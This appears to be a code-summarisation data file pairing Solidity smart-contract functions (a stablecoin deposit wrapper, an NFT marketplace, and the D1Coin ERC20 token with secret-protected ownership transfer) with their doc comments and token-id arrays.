[ 1, 1893, 309, 1008, 3166, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 445, 2324, 1290, 2735, 261, 474, 619, 16, 509, 677, 13, 1071, 1135, 261, 6430, 13, 288, 203, 377, 2583, 12, 383, 4473, 411, 943, 2979, 1769, 203, 565, 509, 394, 60, 273, 619, 31, 27699, 565, 509, 394, 61, 273, 677, 31, 203, 377, 1426, 1008, 273, 629, 31, 203, 27699, 565, 309, 12, 5531, 15329, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 377, 203, 377, 203, 565, 1426, 1960, 4726, 3759, 273, 866, 43, 280, 750, 12, 2704, 60, 16, 394, 61, 1769, 203, 377, 203, 565, 1323, 12, 5, 5531, 597, 261, 2704, 60, 1545, 5446, 17592, 60, 13, 597, 1960, 4726, 3759, 15329, 203, 3639, 394, 60, 9904, 31, 203, 3639, 309, 261, 2704, 60, 422, 374, 15329, 203, 5411, 394, 60, 273, 404, 31, 203, 3639, 289, 203, 3639, 1008, 273, 19130, 1908, 1921, 2043, 12, 2704, 60, 16, 394, 61, 1769, 203, 3639, 309, 12, 5531, 15329, 203, 5411, 327, 1008, 31, 203, 3639, 289, 203, 565, 289, 203, 27699, 377, 203, 377, 203, 377, 203, 377, 203, 377, 1426, 4220, 4164, 273, 866, 3240, 4164, 12, 2704, 60, 16, 394, 61, 1769, 203, 1377, 203, 540, 1323, 16051, 5531, 597, 261, 2704, 61, 1545, 13541, 61, 13, 597, 12, 5741, 4164, 3719, 288, 203, 2398, 394, 61, 273, 394, 61, 17, 21, 31, 203, 1171, 394, 61, 273, 300, 21, 31, 289, 203, 5411, 1008, 273, 19130, 1908, 1921, 2043, 12, 2704, 60, 16, 394, 61, 1769, 203, 5411, 309, 12, 5531, 15329, 203, 7734, 2 ]
./partial_match/1/0xe2722579f525d02576799934072EFb50441d452f/sources/Component.sol
@author james foley http://github.com/realisation @notice selectively deposit any supported stablecoin flavor into the contract in return for corresponding amount of component tokens @param _derivatives an array containing the addresses of the flavors being deposited into @param _amounts an array containing the values of the flavors you wish to deposit into the contract. each amount should have the same index as the flavor it is meant to deposit @param _minComponents minimum acceptable amount of components @param _deadline deadline for tx @return componentsToMint_ the amount of components to mint for the deposited stablecoin flavors
function selectiveDeposit ( address[] calldata _derivatives, uint[] calldata _amounts, uint _minComponents, uint _deadline ) external deadline(_deadline) transactable nonReentrant returns ( uint componentsMinted_ ) { componentsMinted_ = SelectiveLiquidity.selectiveDeposit(component, _derivatives, _amounts, _minComponents); }
3,643,118
[ 1, 78, 753, 284, 790, 93, 1062, 2207, 6662, 18, 832, 19, 7688, 10742, 225, 2027, 4492, 443, 1724, 1281, 3260, 14114, 12645, 19496, 1368, 326, 6835, 316, 327, 364, 4656, 3844, 434, 1794, 2430, 225, 389, 20615, 8785, 392, 526, 4191, 326, 6138, 434, 326, 31227, 1383, 3832, 443, 1724, 329, 1368, 225, 389, 8949, 87, 392, 526, 4191, 326, 924, 434, 326, 31227, 1383, 1846, 14302, 358, 443, 1724, 1368, 326, 6835, 18, 1517, 3844, 1410, 1240, 326, 1967, 770, 487, 326, 19496, 518, 353, 20348, 358, 443, 1724, 225, 389, 1154, 7171, 5224, 14206, 3844, 434, 4085, 225, 389, 22097, 1369, 14096, 364, 2229, 327, 4085, 774, 49, 474, 67, 326, 3844, 434, 4085, 358, 312, 474, 364, 326, 443, 1724, 329, 14114, 12645, 31227, 1383, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2027, 688, 758, 1724, 261, 203, 3639, 1758, 8526, 745, 892, 389, 20615, 8785, 16, 203, 3639, 2254, 8526, 745, 892, 389, 8949, 87, 16, 203, 3639, 2254, 389, 1154, 7171, 16, 203, 3639, 2254, 389, 22097, 1369, 203, 565, 262, 3903, 14096, 24899, 22097, 1369, 13, 906, 621, 429, 1661, 426, 8230, 970, 1135, 261, 203, 3639, 2254, 4085, 49, 474, 329, 67, 203, 565, 262, 288, 203, 203, 3639, 4085, 49, 474, 329, 67, 273, 6766, 688, 48, 18988, 24237, 18, 4025, 688, 758, 1724, 12, 4652, 16, 389, 20615, 8785, 16, 389, 8949, 87, 16, 389, 1154, 7171, 1769, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x6494c198a3cAF90Eb0A023F1191E6edc13a41042/sources/src/interfaces/IMembershipNFT.sol
in terms of blocck number
uint32 transferLockedUntil;
8,440,205
[ 1, 267, 6548, 434, 324, 1829, 363, 1300, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 1578, 7412, 8966, 9716, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract Marketplace is Context, AccessControlEnumerable, ReentrancyGuard { using Counters for Counters.Counter; Counters.Counter private _itemIds; Counters.Counter private _itemsSold; constructor(uint96 _platformFee) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); platformFeeBasisPoint = _platformFee; owner = _msgSender(); } address public owner; uint96 public platformFeeBasisPoint = 30; struct MarketItem { uint256 itemId; address nftContract; uint256 tokenId; address payable seller; address payable owner; uint256 price; bool forSale; } mapping(uint256 => MarketItem) private idToMarketItem; event MarketItemCreated(uint256 indexed itemId, address indexed creatifyContract, uint256 indexed tokenId, address seller, address owner, uint256 price, bool forSale); /* Places an item for sale on the marketplace */ function createMarketItem(address nftContract, uint256 tokenId, uint256 price) public returns(uint256) { require(price > 0, "Marketplace: Price must be at least 1 wei"); _itemIds.increment(); uint256 itemId = _itemIds.current(); idToMarketItem[itemId] = MarketItem(itemId, nftContract, tokenId, payable(msg.sender), payable(address(0)), price, true); IERC721(nftContract).transferFrom(msg.sender, address(this), tokenId); emit MarketItemCreated(itemId, nftContract, tokenId, msg.sender, address(0), price, true); return itemId; } /* Creates the sale of a marketplace item Transfers ownership of the item, as well as funds between parties */ function createMarketSale(address nftContract, uint256 itemId) public payable nonReentrant { uint256 price = idToMarketItem[itemId].price; uint256 tokenId = idToMarketItem[itemId].tokenId; require(msg.value == price, "Marketplace: Pay Market Price to buy the NFT"); IERC721(nftContract).transferFrom(address(this), msg.sender, tokenId); // Calculate Payouts between seller and platform uint256 amountReceived = msg.value; uint256 amountToMarketplace = (amountReceived * platformFeeBasisPoint) / 1000; uint256 amountToSeller = amountReceived - amountToMarketplace; idToMarketItem[itemId].seller.transfer(amountToSeller); payable(address(owner)).transfer(amountToMarketplace); idToMarketItem[itemId].owner = payable(msg.sender); idToMarketItem[itemId].forSale = false; _itemsSold.increment(); } /* Returns all unsold market items */ function fetchMarketItems() public view returns (MarketItem[] memory) { uint256 itemCount = _itemIds.current(); uint256 unsoldItemCount = _itemIds.current() - _itemsSold.current(); uint256 currentIndex = 0; MarketItem[] memory items = new MarketItem[](unsoldItemCount); for (uint256 i = 0; i < itemCount; i++) { if (idToMarketItem[i + 1].owner == address(0)) { uint256 currentId = i + 1; MarketItem storage currentItem = idToMarketItem[currentId]; items[currentIndex] = currentItem; currentIndex += 1; } } return items; } /* Returns only items that a user has purchased */ function fetchMyNFTs() public view returns (MarketItem[] memory) { uint256 totalItemCount = _itemIds.current(); uint256 itemCount = 0; uint256 currentIndex = 0; for (uint256 i = 0; i < totalItemCount; i++) { if (idToMarketItem[i + 1].owner == msg.sender) { itemCount += 1; } } MarketItem[] memory items = new MarketItem[](itemCount); for (uint256 i = 0; i < totalItemCount; i++) { if (idToMarketItem[i + 1].owner == msg.sender) { uint256 currentId = i + 1; MarketItem storage currentItem = idToMarketItem[currentId]; items[currentIndex] = currentItem; currentIndex += 1; } } return items; } /* Returns only items a user has created */ function fetchItemsCreated() public view returns (MarketItem[] memory) { uint256 totalItemCount = _itemIds.current(); uint256 itemCount = 0; uint256 currentIndex = 0; for (uint256 i = 0; i < totalItemCount; i++) { if (idToMarketItem[i + 1].seller == msg.sender) { itemCount += 1; } } MarketItem[] memory items = new MarketItem[](itemCount); for (uint256 i = 0; i < totalItemCount; i++) { if (idToMarketItem[i + 1].seller == msg.sender) { uint256 currentId = i + 1; MarketItem storage currentItem = idToMarketItem[currentId]; items[currentIndex] = currentItem; currentIndex += 1; } } return items; } }
Returns only items a user has created */
function fetchItemsCreated() public view returns (MarketItem[] memory) { uint256 totalItemCount = _itemIds.current(); uint256 itemCount = 0; uint256 currentIndex = 0; for (uint256 i = 0; i < totalItemCount; i++) { if (idToMarketItem[i + 1].seller == msg.sender) { itemCount += 1; } } MarketItem[] memory items = new MarketItem[](itemCount); for (uint256 i = 0; i < totalItemCount; i++) { if (idToMarketItem[i + 1].seller == msg.sender) { uint256 currentId = i + 1; MarketItem storage currentItem = idToMarketItem[currentId]; items[currentIndex] = currentItem; currentIndex += 1; } } return items; }
12,690,012
[ 1, 1356, 1338, 1516, 279, 729, 711, 2522, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2158, 3126, 6119, 1435, 1071, 1476, 1135, 261, 3882, 278, 1180, 8526, 3778, 13, 288, 203, 3639, 2254, 5034, 2078, 30687, 273, 389, 1726, 2673, 18, 2972, 5621, 203, 3639, 2254, 5034, 761, 1380, 273, 374, 31, 203, 3639, 2254, 5034, 17032, 273, 374, 31, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 2078, 30687, 31, 277, 27245, 288, 203, 5411, 309, 261, 350, 774, 3882, 278, 1180, 63, 77, 397, 404, 8009, 1786, 749, 422, 1234, 18, 15330, 13, 288, 203, 7734, 761, 1380, 1011, 404, 31, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 6622, 278, 1180, 8526, 3778, 1516, 273, 394, 6622, 278, 1180, 8526, 12, 1726, 1380, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 2078, 30687, 31, 277, 27245, 288, 203, 5411, 309, 261, 350, 774, 3882, 278, 1180, 63, 77, 397, 404, 8009, 1786, 749, 422, 1234, 18, 15330, 13, 288, 203, 7734, 2254, 5034, 783, 548, 273, 277, 397, 404, 31, 203, 7734, 6622, 278, 1180, 2502, 27471, 273, 612, 774, 3882, 278, 1180, 63, 2972, 548, 15533, 203, 7734, 1516, 63, 2972, 1016, 65, 273, 27471, 31, 203, 7734, 17032, 1011, 404, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 327, 1516, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.15; /* @dev ERC Token Standard #20 Interface (https://github.com/ethereum/EIPs/issues/20) */ contract ERC20 { //Use original ERC20 totalSupply function instead of public variable since //we are mapping the functions for upgradeability uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // Licensed under the MIT License // Copyright (c) 2017 Curvegrid Inc. /// @title OfflineSecret /// @dev The OfflineSecret contract provide functionality to verify and ensure a caller /// provides a valid secret that was exchanged offline. It offers an additional level of verification /// for sensitive contract operations. contract OfflineSecret { /// @dev Modifier that requires a provided plaintext match a previously stored hash modifier validSecret(address to, string secret, bytes32 hashed) { require(checkSecret(to, secret, hashed)); _; } /// @dev Generate a hash from the provided plaintext. A pure function so can (should) be /// run off-chain. /// @param to address The recipient address, as a salt. /// @param secret string The secret to hash. function generateHash(address to, string secret) public pure returns(bytes32 hashed) { return keccak256(to, secret); } /// @dev Check whether a provided plaintext secret hashes to a provided hash. A pure /// function so can (should) be run off-chain. /// @param to address The recipient address, as a salt. /// @param secret string The secret to hash. /// @param hashed string The hash to check the secret against. function checkSecret(address to, string secret, bytes32 hashed) public pure returns(bool valid) { if (hashed == keccak256(to, secret)) { return true; } return false; } } // Licensed under the MIT License // Copyright (c) 2017 Curvegrid Inc. /// @title Ownable /// @dev The Ownable contract has an owner address, and provides basic authorization control functions, this simplifies /// and the implementation of "user permissions". contract OwnableWithFoundation is OfflineSecret { address public owner; address public newOwnerCandidate; address public foundation; address public newFoundationCandidate; bytes32 public ownerHashed; bytes32 public foundationHashed; event OwnershipRequested(address indexed by, address indexed to, bytes32 hashed); event OwnershipTransferred(address indexed from, address indexed to); event FoundationRequested(address indexed by, address indexed to, bytes32 hashed); event FoundationTransferred(address indexed from, address indexed to); /// @dev The Ownable constructor sets the original `owner` of the contract to the sender /// account. function OwnableWithFoundation(address _owner) public { foundation = msg.sender; owner = _owner; } /// @dev Reverts if called by any account other than the owner. modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } modifier onlyOwnerCandidate() { if (msg.sender != newOwnerCandidate) { revert(); } _; } /// @dev Reverts if called by any account other than the foundation. modifier onlyFoundation() { if (msg.sender != foundation) { revert(); } _; } modifier onlyFoundationCandidate() { if (msg.sender != newFoundationCandidate) { revert(); } _; } /// @dev Proposes to transfer control of the contract to a newOwnerCandidate. /// @param _newOwnerCandidate address The address to transfer ownership to. /// @param _ownerHashed string The hashed secret to use as protection. function requestOwnershipTransfer( address _newOwnerCandidate, bytes32 _ownerHashed) external onlyFoundation { require(_newOwnerCandidate != address(0)); require(_newOwnerCandidate != owner); newOwnerCandidate = _newOwnerCandidate; ownerHashed = _ownerHashed; OwnershipRequested(msg.sender, newOwnerCandidate, ownerHashed); } /// @dev Accept ownership transfer. This method needs to be called by the previously proposed owner. /// @param _ownerSecret string The secret to check against the hash. function acceptOwnership( string _ownerSecret) external onlyOwnerCandidate validSecret(newOwnerCandidate, _ownerSecret, ownerHashed) { address previousOwner = owner; owner = newOwnerCandidate; newOwnerCandidate = address(0); OwnershipTransferred(previousOwner, owner); } /// @dev Proposes to transfer control of the contract to a newFoundationCandidate. /// @param _newFoundationCandidate address The address to transfer oversight to. /// @param _foundationHashed string The hashed secret to use as protection. function requestFoundationTransfer( address _newFoundationCandidate, bytes32 _foundationHashed) external onlyFoundation { require(_newFoundationCandidate != address(0)); require(_newFoundationCandidate != foundation); newFoundationCandidate = _newFoundationCandidate; foundationHashed = _foundationHashed; FoundationRequested(msg.sender, newFoundationCandidate, foundationHashed); } /// @dev Accept foundation transfer. This method needs to be called by the previously proposed foundation. /// @param _foundationSecret string The secret to check against the hash. function acceptFoundation( string _foundationSecret) external onlyFoundationCandidate validSecret(newFoundationCandidate, _foundationSecret, foundationHashed) { address previousFoundation = foundation; foundation = newFoundationCandidate; newFoundationCandidate = address(0); FoundationTransferred(previousFoundation, foundation); } } /* @dev Math operations with safety checks */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // Licensed under the MIT License // Copyright (c) 2017 Curvegrid Inc. /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is OwnableWithFoundation { event Pause(); event Unpause(); bool public paused = false; function Pausable(address _owner) public OwnableWithFoundation(_owner) { } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /// @title Basic ERC20 token contract implementation. /* @dev Kin's BasicToken based on OpenZeppelin's StandardToken. */ contract BasicToken is ERC20 { using SafeMath for uint256; uint256 public totalSupply; mapping (address => mapping (address => uint256)) allowed; mapping (address => uint256) balances; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); /// @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. /// @param _spender address The address which will spend the funds. /// @param _value uint256 The amount of tokens to be spent. function approve(address _spender, uint256 _value) public returns (bool) { // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) { revert(); } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Function to check the amount of tokens that an owner allowed to a spender. /// @param _owner address The address which owns the funds. /// @param _spender address The address which will spend the funds. /// @return uint256 specifying the amount of tokens still available for the spender. function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @dev Gets the balance of the specified address. /// @param _owner address The address to query the the balance of. /// @return uint256 representing the amount owned by the passed address. function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /// @dev transfer token to a specified address. /// @param _to address The address to transfer to. /// @param _value uint256 The amount to be transferred. function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /// @dev Transfer tokens from one address to another. /// @param _from address The address which you want to send tokens from. /// @param _to address The address which you want to transfer to. /// @param _value uint256 the amount of tokens to be transferred. function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } } // Licensed under the MIT License // Copyright (c) 2017 Curvegrid Inc. /** * @dev ERC Token Standard #20 Interface (https://github.com/ethereum/EIPs/issues/20) * D1Coin is the main contract for the D1 platform. */ contract D1Coin is BasicToken, Pausable { using SafeMath for uint256; string public constant name = "D1 Coin"; string public constant symbol = "D1"; // Thousands of a token represent the minimum usable unit of token based on // its expected value uint8 public constant decimals = 3; address theCoin = address(this); // Hashed secrets required to unlock coins transferred from one address to another address struct ProtectedBalanceStruct { uint256 balance; bytes32 hashed; } mapping (address => mapping (address => ProtectedBalanceStruct)) protectedBalances; uint256 public protectedSupply; // constructor passes owner (Mint) down to Pausable() => OwnableWithFoundation() function D1Coin(address _owner) public Pausable(_owner) { } event Mint(address indexed minter, address indexed receiver, uint256 value); event ProtectedTransfer(address indexed from, address indexed to, uint256 value, bytes32 hashed); event ProtectedUnlock(address indexed from, address indexed to, uint256 value); event ProtectedReclaim(address indexed from, address indexed to, uint256 value); event Burn(address indexed burner, uint256 value); /// @dev Transfer token to this contract, which is shorthand for the owner (Mint). /// Avoids race conditions in cases where the owner has changed just before a /// transfer is called. /// @param _value uint256 The amount to be transferred. function transferToMint(uint256 _value) external whenNotPaused returns (bool) { return transfer(theCoin, _value); } /// @dev Approve this contract, proxy for owner (Mint), to spend the specified amount of tokens /// on behalf of msg.sender. Avoids race conditions in cases where the owner has changed /// just before an approve is called. /// @param _value uint256 The amount of tokens to be spent. function approveToMint(uint256 _value) external whenNotPaused returns (bool) { return approve(theCoin, _value); } /// @dev Protected transfer tokens to this contract, which is shorthand for the owner (Mint). /// Avoids race conditions in cases where the owner has changed just before a /// transfer is called. /// @param _value uint256 The amount to be transferred. /// @param _hashed string The hashed secret to use as protection. function protectedTransferToMint(uint256 _value, bytes32 _hashed) external whenNotPaused returns (bool) { return protectedTransfer(theCoin, _value, _hashed); } /// @dev Transfer tokens from an address to this contract, a proxy for the owner (Mint). /// Subject to pre-approval from the address. Avoids race conditions in cases where the owner has changed /// just before an approve is called. /// @param _from address The address which you want to send tokens from. /// @param _value uint256 the amount of tokens to be transferred. function withdrawByMint(address _from, uint256 _value) external onlyOwner whenNotPaused returns (bool) { // retrieve allowance uint256 _allowance = allowed[_from][theCoin]; // adjust balances balances[_from] = balances[_from].sub(_value); balances[theCoin] = balances[theCoin].add(_value); // adjust allowance allowed[_from][theCoin] = _allowance.sub(_value); Transfer(_from, theCoin, _value); return true; } /// @dev Creates a specific amount of tokens and credits them to the Mint. /// @param _amount uint256 Amount tokens to mint. function mint(uint256 _amount) external onlyOwner whenNotPaused { require(_amount > 0); totalSupply = totalSupply.add(_amount); balances[theCoin] = balances[theCoin].add(_amount); Mint(msg.sender, theCoin, _amount); // optional in ERC-20 standard, but required by Etherscan Transfer(address(0), theCoin, _amount); } /// @dev Retrieve the protected balance and hashed passphrase for a pending protected transfer. /// @param _from address The address transferred from. 